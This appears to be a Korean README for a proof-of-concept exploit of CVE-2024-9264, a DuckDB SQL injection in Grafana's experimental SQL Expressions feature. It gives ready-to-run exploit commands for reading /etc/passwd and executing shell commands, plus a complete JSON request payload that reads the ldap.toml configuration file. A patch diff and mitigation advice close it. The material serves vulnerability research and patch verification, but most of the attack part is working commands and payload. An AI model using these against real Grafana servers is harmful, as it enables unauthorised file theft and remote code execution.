
Grafana 임의 파일 읽기 및 RCE(CVE-2024-9264)용 익스플로잇
이 PoC는 CVE-2024-9264의 악용을 시연하며, 인증된 사용자가 DuckDB SQL 쿼리를 수행하여 파일시스템의 임의 파일을 읽거나 원격으로 임의 코드를 실행할 수 있음을 보여줍니다.
임의 코드 실행은 Grafana v11.0.0에서만 가능합니다.
파일 읽기는 모든 취약한 버전에서 가능합니다.
설정: 다음을 통해 필요한 종속성을 설치합니다:
pip install -r requirements.txt
파일 읽기 (범용):
python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
명령 실행 (v11.0.0 전용)
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000
또한 getenv를 호출하여 환경 변수를 검색하는 것과 같은 임의의 DuckDB 쿼리를 실행할 수 있습니다:
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000
악용 가능한 DuckDB 유틸리티 함수 목록은 여기에서 확인할 수 있습니다.
CVE-2024-9264는 Grafana의 실험적인 SQL Expressions 기능에서 발생하는 DuckDB SQL 인젝션 취약점입니다. 인증된 사용자는 Grafana 대시보드에서 수정된 표현식을 통해 임의의 DuckDB SQL 쿼리를 실행할 수 있습니다.
영향받는 버전:
패치된 버전:
Grafana는 이 취약점을 수정하기 위해 특별 버전을 출시했습니다. 패치를 분석하려면 다음 명령을 사용하여 변경 사항을 비교할 수 있습니다:
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495
이를 통해 SQL Expressions 기능이 취약한 버전에서 단순히 제거되었음을 알 수 있습니다.
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+ "errors"
+
+ "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+ return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+ return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+ return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+ return &DB{}
+}
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
rsp := mathexp.Results{}
- duckDB := duck.NewInMemoryDB()
+ duckDB := sql.NewInMemoryDB()
var frame = &data.Frame{}
err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
if err != nil {
이 패치는 SQL Expressions를 완전히 제거하여 악용 가능성을 차단합니다.
Grafana 실행: 버전 11.0.5로 Grafana를 실행합니다:
docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
식 변경:
"Math"와 같은 식이 있는 대시보드를 만들고 Burp로 요청을 가로챈 다음 datasource 유형을 math에서 sql로 변경합니다.
HTTP 요청이 /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101로 전송됩니다.
아래는 ./conf/ldap.toml과 같은 임의의 파일을 읽기 위한 DuckDB SQL 쿼리를 수행하는 데 필요한 최소 JSON입니다:
{
"queries": [
{
"refId": "B",
"datasource": {
"type": "__expr__",
"uid": "__expr__",
"name": "Expression"
},
"type": "sql",
"hide": false,
"expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
"window": ""
}
],
"from": "1729313027261",
"to": "1729334627261"
}
실제 악용에는 대시보드가 존재할 필요가 없습니다. 단지 쿼리를 실행할 HTTP 요청을 쉽게 찾기 위한 방법일 뿐입니다.
이 취약점이 치명적이지만 악용 가능성은 Grafana 서버에 DuckDB 바이너리가 설치되어 있는지 여부에 달려 있다는 점에 유의해야 합니다. 기본적으로 Grafana에는 DuckDB가 설치되어 있지 않으며, Grafana 인터페이스에서 직접 설치할 수 있는 옵션도 없습니다.
이 취약점을 악용하려면 관리자가 DuckDB를 수동으로 설치하고 Grafana 서버의 $PATH에 추가했어야 합니다. DuckDB가 없으면 SQL 인젝션 취약점을 활용할 수 없으므로 기본 설치에서 성공적인 악용 가능성이 크게 낮아집니다.
Grafana를 패치된 버전으로 업데이트하고, 패치가 지연되는 경우 $PATH에 DuckDB 바이너리가 없도록 하십시오.